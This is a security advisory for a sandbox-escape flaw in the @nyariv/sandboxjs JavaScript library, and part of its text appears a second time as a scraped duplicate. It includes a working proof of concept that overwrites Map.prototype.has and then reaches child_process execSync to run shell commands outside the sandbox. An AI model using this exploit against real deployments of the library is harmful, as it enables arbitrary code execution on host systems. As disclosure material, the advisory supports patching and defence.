Summary
As Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped.
Details
This is effectively equivalent to CVE-2026-25142, but without __lookupGetter__ (I used let while testing for it), it turns out the let implementation is bugged:
let a = Map.prototype;
console.log(a) // undefined
const a = Map.prototype;
console.log(a) // Object [Map] {}let a = 123;
console.log(a) // 123
const a = 123;
console.log(a) // 123
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const m = Map.prototype;
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
sb.compile(payload)().run();Impact
Able to set Map.prototype.has -> RCE
Summary
As
Mapis inSAFE_PROTOYPES, it's prototype can be obtained viaMap.prototype. By overwritingMap.prototype.hasthe sandbox can be escaped.Details
This is effectively equivalent to CVE-2026-25142, but without
__lookupGetter__(I usedletwhile testing for it), it turns out theletimplementation is bugged:PoC
Impact
Able to set
Map.prototype.has-> RCE